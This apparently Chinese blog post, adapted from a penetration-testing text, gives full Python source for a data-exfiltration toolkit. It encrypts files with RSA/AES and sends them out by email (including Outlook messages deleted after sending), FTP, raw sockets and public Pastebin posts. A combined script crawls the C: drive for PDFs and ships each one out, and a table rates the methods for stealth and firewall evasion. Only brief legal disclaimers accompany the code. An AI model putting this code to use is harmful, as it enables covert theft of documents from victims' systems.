14、数据渗透实战:加密数据的提取与传输

数据渗透实战:加密数据的提取与传输

在网络渗透中,获取目标网络的访问权限只是战斗的一部分。为了充分利用这种访问权限,我们需要能够从目标系统中提取文档、电子表格或其他数据。然而,根据目标系统的防御机制,数据提取这一步可能会很棘手。接下来,我们将创建一些工具,用于提取加密数据,并通过三种方法(电子邮件、文件传输和向网络服务器发帖)将其从系统中传输出来。

1. 加密和解密文件

我们使用 pycryptodomex 包进行加密任务,可通过以下命令安装:

$ pip install pycryptodomex

打开 cryptor.py 文件,导入所需的库:

from Cryptodome.Cipher import AES, PKCS1_OAEP
from Cryptodome.PublicKey import RSA
from Cryptodome.Random import get_random_bytes
from io import BytesIO
import base64
import zlib

我们将创建一个混合加密过程,结合对称和非对称加密的优点。 AES 密码是对称加密的示例,它使用单个密钥进行加密和解密,速度快且能处理大量文本,用于加密我们要提取的信息。 RSA 密码是非对称加密,使用公钥/私钥技术,适合加密小信息,用于加密 AES 加密中使用的单个密钥。

在开始加密或解密之前,我们需要为非对称 RSA 加密创建公钥和私钥,添加 generate 函数到 cryptor.py

def generate():
    new_key = RSA.generate(2048)
    private_key = new_key.exportKey()
    public_key = new_key.publickey().exportKey()
    with open('key.pri', 'wb') as f:
        f.write(private_key)
    with open('key.pub', 'wb') as f:
        f.write(public_key)

创建一个辅助函数来获取公钥或私钥:

def get_rsa_cipher(keytype):
    with open(f'key.{keytype}') as f:
        key = f.read()
    rsakey = RSA.importKey(key)
    return (PKCS1_OAEP.new(rsakey), rsakey.size_in_bytes())

加密函数:

def encrypt(plaintext):
    compressed_text = zlib.compress(plaintext)
    session_key = get_random_bytes(16)
    cipher_aes = AES.new(session_key, AES.MODE_EAX)
    ciphertext, tag = cipher_aes.encrypt_and_digest(compressed_text)
    cipher_rsa, _ = get_rsa_cipher('pub')
    encrypted_session_key = cipher_rsa.encrypt(session_key)
    msg_payload = encrypted_session_key + cipher_aes.nonce + tag + ciphertext
    encrypted = base64.encodebytes(msg_payload)
    return(encrypted)

解密函数:

def decrypt(encrypted):
    encrypted_bytes = BytesIO(base64.decodebytes(encrypted))
    cipher_rsa, keysize_in_bytes = get_rsa_cipher('pri')
    encrypted_session_key = encrypted_bytes.read(keysize_in_bytes)
    nonce = encrypted_bytes.read(16)
    tag = encrypted_bytes.read(16)
    ciphertext = encrypted_bytes.read()
    session_key = cipher_rsa.decrypt(encrypted_session_key)
    cipher_aes = AES.new(session_key, AES.MODE_EAX, nonce)
    decrypted = cipher_aes.decrypt_and_verify(ciphertext, tag)
    plaintext = zlib.decompress(decrypted)
    return plaintext

测试函数:

if __name__ == '__main__':
    generate()
    plaintext = b'hey there you.'
    print(decrypt(encrypt(plaintext)))
2. 电子邮件提取

打开 email_exfil.py 文件,用于通过电子邮件发送加密信息:

import smtplib
import time
import win32com.client

smtp_server = 'smtp.example.com'
smtp_port = 587
smtp_acct = 'tim@example.com'
smtp_password = 'seKret'
tgt_accts = ['tim@elsewhere.com']

平台无关的电子邮件函数:

def plain_email(subject, contents):
    message = f'Subject: {subject}\nFrom {smtp_acct}\n'
    message += f'To: {tgt_accts}\n\n{contents.decode()}'
    server = smtplib.SMTP(smtp_server, smtp_port)
    server.starttls()
    server.login(smtp_acct, smtp_password)
    server.sendmail(smtp_acct, tgt_accts, message)
    time.sleep(1)
    server.quit()

Windows特定的电子邮件函数:

def outlook(subject, contents):
    outlook = win32com.client.Dispatch("Outlook.Application")
    message = outlook.CreateItem(0)
    message.DeleteAfterSubmit = True
    message.Subject = subject
    message.Body = contents.decode()
    message.To =  tgt_accts[0]
    message.Send()

测试函数:

if __name__ == '__main__':
    plain_email('test2 message', 'attack at dawn.')
3. 文件传输提取

打开 transmit_exfil.py 文件,用于通过文件传输发送加密信息:

import ftplib
import os
import socket
import win32file

平台无关的文件传输函数:

def plain_ftp(docpath, server='192.168.1.203'):
    ftp = ftplib.FTP(server)
    ftp.login("anonymous", "anon@example.com")
    ftp.cwd('/pub/')
    ftp.storbinary("STOR " + os.path.basename(docpath),
                   open(docpath, "rb"), 1024)
    ftp.quit()

Windows特定的文件传输函数:

def transmit(document_path):
    client = socket.socket()
    client.connect(('192.168.1.207', 10000))
    with open(document_path, 'rb') as f:
        win32file.TransmitFile(
            client,
            win32file._get_osfhandle(f.fileno()),
            0, 0, None, 0, b'', b'')

测试函数:

if __name__ == '__main__':
    transmit('./mysecrets.txt')
4. 网络服务器提取

打开 paste_exfil.py 文件,用于通过向网络服务器发帖发送加密信息:

from win32com import client
import os
import random
import requests
import time

username = 'tim'
password = 'seKret'
api_dev_key = 'cd3xxx001xxxx02'

平台无关的网络服务器函数:

def plain_paste(title, contents):
    login_url = 'https://pastebin.com/api/api_login.php'
    login_data = {
        'api_dev_key': api_dev_key,
        'api_user_name': username,
        'api_user_password': password,
    }
    r = requests.post(login_url, data=login_data)
    api_user_key = r.text
    paste_url = 'https://pastebin.com/api/api_post.php'
    paste_data = {
        'api_paste_name': title,
        'api_paste_code': contents.decode(),
        'api_dev_key': api_dev_key,
        'api_user_key': api_user_key,
        'api_option': 'paste',
        'api_paste_private': 0,
    }
    r = requests.post(paste_url, data=paste_data)
    print(r.status_code)
    print(r.text)

Windows特定的网络服务器函数:

def wait_for_browser(browser):
    while browser.ReadyState != 4 and browser.ReadyState != 'complete':
        time.sleep(0.1)

def random_sleep():
    time.sleep(random.randint(5,10))

def login(ie):
    full_doc = ie.Document.all
    for elem in full_doc:
        if elem.id == 'loginform-username':
            elem.setAttribute('value', username)
        elif elem.id == 'loginform-password':
            elem.setAttribute('value', password)
    random_sleep()
    if ie.Document.forms[0].id == 'w0':
        ie.document.forms[0].submit()
    wait_for_browser(ie)

def submit(ie, title, contents):
    full_doc = ie.Document.all
    for elem in full_doc:
        if elem.id == 'postform-name':
            elem.setAttribute('value', title)
        elif elem.id == 'postform-text':
            elem.setAttribute('value', contents)
    if ie.Document.forms[0].id == 'w0':
        ie.document.forms[0].submit()
    random_sleep()
    wait_for_browser(ie)

def ie_paste(title, contents):
    ie = client.Dispatch('InternetExplorer.Application')
    ie.Visible = 1
    ie.Navigate('https://pastebin.com/login')
    wait_for_browser(ie)
    login(ie)
    ie.Navigate('https://pastebin.com/')
    wait_for_browser(ie)
    submit(ie, title, contents.decode())
    ie.Quit()

if __name__ == '__main__':
    ie_paste('title', 'contents')
5. 整合所有方法

创建 exfil.py 文件,将所有提取方法整合在一起:

from cryptor import encrypt, decrypt
from email_exfil import outlook, plain_email
from transmit_exfil import plain_ftp, transmit
from paste_exfil import ie_paste, plain_paste
import os

EXFIL = {
    'outlook': outlook,
    'plain_email': plain_email,
    'plain_ftp': plain_ftp,
    'transmit': transmit,
    'ie_paste': ie_paste,
    'plain_paste': plain_paste,
}

def find_docs(doc_type='.pdf'):
    for parent, _, filenames in os.walk('c:\\'):
        for filename in filenames:
            if filename.endswith(doc_type):
                document_path = os.path.join(parent, filename)
                yield document_path

def exfiltrate(document_path, method):
    if method in ['transmit', 'plain_ftp']:
        filename = f'c:\\windows\\temp\\{os.path.basename(document_path)}'
        with open(document_path, 'rb') as f0:
            contents = f0.read()
        with open(filename, 'wb') as f1:
            f1.write(encrypt(contents))
        EXFIL[method](filename)
        os.unlink(filename)
    else:
        with open(document_path, 'rb') as f:
            contents = f.read()
        title = os.path.basename(document_path)
        contents = encrypt(contents)
        EXFIL[method](title, contents)

流程图

graph LR
    classDef startend fill:#F5EBFF,stroke:#BE8FED,stroke-width:2px;
    classDef process fill:#E5F6FF,stroke:#73A6FF,stroke-width:2px;
    classDef decision fill:#FFF6CC,stroke:#FFBC52,stroke-width:2px;

    A([开始]):::startend --> B(生成公钥和私钥):::process
    B --> C(选择提取方法):::process
    C --> D{方法类型}:::decision
    D -->|电子邮件| E(加密信息):::process
    D -->|文件传输| F(加密文件):::process
    D -->|网络服务器| G(加密内容):::process
    E --> H(发送邮件):::process
    F --> I(传输文件):::process
    G --> J(发布内容):::process
    H --> K([结束]):::startend
    I --> K
    J --> K

总结

通过以上步骤,我们实现了加密数据的提取和传输。整个过程包括文件的加密和解密、通过不同方式(电子邮件、文件传输、网络服务器)进行数据渗透,以及将这些方法整合在一起。在实际应用中,我们可以根据目标系统的环境和防御机制选择合适的渗透方法。同时,需要注意遵守法律法规,仅在合法授权的情况下进行相关操作。

数据渗透实战:加密数据的提取与传输

6. 各方法的特点与适用场景

为了更清晰地了解不同数据提取方法的特点和适用场景,我们可以通过以下表格进行对比:
| 提取方法 | 平台相关性 | 优点 | 缺点 | 适用场景 |
| — | — | — | — | — |
| 电子邮件提取 | 有平台无关和Windows特定两种 | 操作相对简单,可利用常见的邮件服务,隐蔽性较好 | 可能受到邮件服务器的限制,如大小限制、反垃圾邮件机制等 | 目标系统可以访问邮件服务器,且需要在一定隐蔽性下传输数据 |
| 文件传输提取 | 有平台无关和Windows特定两种 | 可以直接传输文件,速度相对较快 | 需要目标系统开放相应的端口,且可能被防火墙拦截 | 目标系统可以访问FTP服务器或特定的监听端口,需要快速传输文件 |
| 网络服务器提取 | 有平台无关和Windows特定两种 | 可以利用知名网站绕过防火墙的限制,隐蔽性高 | 需要在目标网站注册账号,且依赖网站的稳定性 | 目标系统可以访问互联网,且需要绕过防火墙的限制传输数据 |

7. 操作步骤总结

下面我们将整个数据渗透过程的操作步骤进行总结,以方便大家在实际应用中参考:
1. 加密和解密文件
- 安装 pycryptodomex 包: pip install pycryptodomex
- 打开 cryptor.py 文件,编写加密和解密函数,生成公钥和私钥。
- 测试加密和解密功能:

if __name__ == '__main__':
    generate()
    plaintext = b'hey there you.'
    print(decrypt(encrypt(plaintext)))
  1. 电子邮件提取
    • 打开 email_exfil.py 文件,配置SMTP服务器信息。
    • 编写平台无关和Windows特定的电子邮件函数。
    • 测试电子邮件发送功能:
if __name__ == '__main__':
    plain_email('test2 message', 'attack at dawn.')
  1. 文件传输提取
    • 打开 transmit_exfil.py 文件,导入必要的库。
    • 编写平台无关和Windows特定的文件传输函数。
    • 测试文件传输功能:
if __name__ == '__main__':
    transmit('./mysecrets.txt')
  1. 网络服务器提取
    • 打开 paste_exfil.py 文件,配置目标网站的账号信息。
    • 编写平台无关和Windows特定的网络服务器函数。
    • 测试网络服务器发布功能:
if __name__ == '__main__':
    ie_paste('title', 'contents')
  1. 整合所有方法
    • 创建 exfil.py 文件,导入所有提取方法的函数。
    • 编写查找文档和提取数据的函数。
    • 调用 exfiltrate 函数进行数据提取:
# 示例调用
document_path = 'path/to/your/document.pdf'
method = 'plain_email'
exfiltrate(document_path, method)
8. 注意事项

在进行数据渗透操作时,需要注意以下几点:
- 合法性 :确保你的操作是在合法授权的情况下进行的,避免触犯法律法规。
- 隐蔽性 :尽量选择隐蔽性高的方法,避免被目标系统的防御机制发现。
- 稳定性 :在选择提取方法时,要考虑目标系统的网络环境和稳定性,确保数据能够成功传输。
- 安全性 :对提取的数据进行加密处理,防止数据在传输过程中被窃取。

流程图(数据提取流程细化)

graph LR
    classDef startend fill:#F5EBFF,stroke:#BE8FED,stroke-width:2px;
    classDef process fill:#E5F6FF,stroke:#73A6FF,stroke-width:2px;
    classDef decision fill:#FFF6CC,stroke:#FFBC52,stroke-width:2px;

    A([开始]):::startend --> B(生成公钥和私钥):::process
    B --> C(扫描目标系统环境):::process
    C --> D{选择提取方法}:::decision
    D -->|电子邮件| E(准备邮件信息):::process
    D -->|文件传输| F(准备文件路径):::process
    D -->|网络服务器| G(准备账号信息):::process
    E --> H(加密邮件内容):::process
    F --> I(加密文件内容):::process
    G --> J(加密发布内容):::process
    H --> K(发送邮件):::process
    I --> L(传输文件):::process
    J --> M(发布内容):::process
    K --> N{邮件发送成功?}:::decision
    L --> O{文件传输成功?}:::decision
    M --> P{内容发布成功?}:::decision
    N -->|是| Q([结束]):::startend
    N -->|否| R(检查邮件配置):::process
    O -->|是| Q
    O -->|否| S(检查网络和端口):::process
    P -->|是| Q
    P -->|否| T(检查账号和网站状态):::process
    R --> E
    S --> F
    T --> G

总结

本文详细介绍了加密数据的提取和传输方法,包括文件的加密和解密、通过电子邮件、文件传输和网络服务器进行数据渗透,以及将这些方法整合在一起。通过对比不同方法的特点和适用场景,我们可以根据目标系统的实际情况选择合适的渗透方法。同时,在操作过程中要注意合法性、隐蔽性、稳定性和安全性等问题。希望这些内容能够帮助大家在数据渗透领域有所收获。

以上内容仅供学习和研究使用,请确保在合法合规的前提下进行相关操作。

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值